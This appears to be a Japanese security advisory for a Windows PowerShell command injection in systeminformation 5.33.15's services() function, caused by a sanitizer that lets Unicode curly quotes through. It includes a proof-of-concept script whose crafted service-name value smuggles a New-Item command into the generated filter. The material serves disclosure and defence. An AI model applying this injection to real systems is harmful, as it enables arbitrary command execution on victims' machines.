systeminformationにおいて、services()関数におけるUnicode引用符の脆弱性により、Windowsコマンドインジェクションが発生する可能性があります。

### 概要

Windows環境において、`systeminformation@5.33.15`は、`services()`関数に渡された値を使用してPowerShellコマンドを構築します。デフォルトのサニタイザーは、ASCIIの引用符を取り除きますが、Unicodeの括弧付き引用符、スペース、および括弧は保持されます。巧妙に作成されたサービス名を使用することで、これらの文字を利用して生成されたフィルタ文字列を突破し、PowerShellの式を実行させることができます。この式は、Node.jsプロセスの権限で実行されます。

本レポートは、バージョン`5.33.15`であることを確認しています。他のパッケージのバージョンは検証されていません。

### 詳細

`lib/processes.js`内の`services()`関数は、呼び出し元の文字列を`sanitizeShellString()`でサニタイズし、その後、各結果のサービス名を`Get-CimInstance Win32_Service -Filter`コマンドに挿入します。Windows版では、このコマンドを`util.powerShell()`に渡します。

`lib/util.js`内のサニタイザーは、ASCIIの二重引用符を取り除きますが、U+201CまたはU+201D、つまり左および右の括弧付き二重引用符は取り除きません。また、デフォルトの、厳密でないモードで呼び出された場合、スペースと括弧も許可されます。PowerShellは、これらの括弧付き文字を文字列の区切り文字として受け入れるため、入力によってフィルタ文字列を終了させ、生成されたコマンドにコマンド式を挿入させることができます。

例えば、以下の入力は、括弧付きの引用符を使用して生成されたフィルタ文字列を終了させ、`New-Item`コマンドを実行します。私は、検証済みの`systeminformation@5.33.15`ソースコードに対して、Windows上でこの呼び出しを再現し、Node.jsプロセスのアカウントでマーカーファイルを作成しました。

### 実証

以下のコマンドを、Node.jsとPowerShellが利用可能な、一時的なディレクトリで実行します。

```powershell
mkdir si-command-injection-repro
cd si-command-injection-repro
npm init -y
npm install systeminformation@5.33.15
```

以下のコードを`poc.cjs`という名前で保存し、`node poc.cjs`を実行します。

```js
'use strict';

const fs = require('node:fs');
const path = require('node:path');
const si = require('systeminformation');
```

```text
(async () => {
const markerName = `si-injection-${process.pid}.txt`;
const markerPath = path.join(process.cwd(), markerName);
fs.rmSync(markerPath, { force: true });

try {
await si.services(`not-a-service” (New-Item -Name ${markerName} -ItemType File -Force) “`);
console.log(`markerCreated=${fs.existsSync(markerPath)}`);
} finally {
fs.rmSync(markerPath, { force: true });
}
})().catch((error) => {
console.error(error);
process.exitCode = 1;
});
```

Windows環境において、このスクリプトは配列を返し、マーカーを作成します(`markerCreated: true`)。無害な入力の場合、マーカーは作成されません。スクリプトは、その後、マーカーを削除します。 `services()`関数にリモートからの入力を転送するようなネットワーク経路は見つかりませんでした。そのため、リモートからの攻撃の可能性は、この関数を使用するアプリケーションに依存します。

### 影響

Windows上で、攻撃者が制御する入力を`services()`関数に渡すことで、Node.jsプロセスのアカウント権限でPowerShellコマンドを実行させることが可能です。そのアカウントの権限によっては、アクセス可能なファイルの読み書き、アプリケーションデータの変更、またはサービスの停止を引き起こす可能性があります。 このリポジトリ内では、HTTPサーバー、ルーティングハンドラ、リスナー呼び出しは見つかりませんでした。 `services()`関数は、パッケージAPIおよび`getDynamicData()`を通じて公開されているため、この関数を使用するアプリケーションがリクエストデータを転送する場合、入力がネットワーク経由でアクセス可能になる可能性があります。 別途、ローカルのHTTPサーバーを使用したテストでは、クエリパラメータを通じてコマンドが実行されることが確認されましたが、そのサーバーはテストコードであり、このリポジトリには含まれていません。 プロジェクトの`docs/security.html`には、すでに、`services()`関数への任意の信頼できない入力には注意が必要であるという警告が記載されています。これは、パッケージのサニタイズがすべてのケースをカバーするわけではないためです。

影響を受けるパッケージ:
- npm (JavaScript) systeminformation: 影響あり < 5.33.16、5.33.16で修正済み
```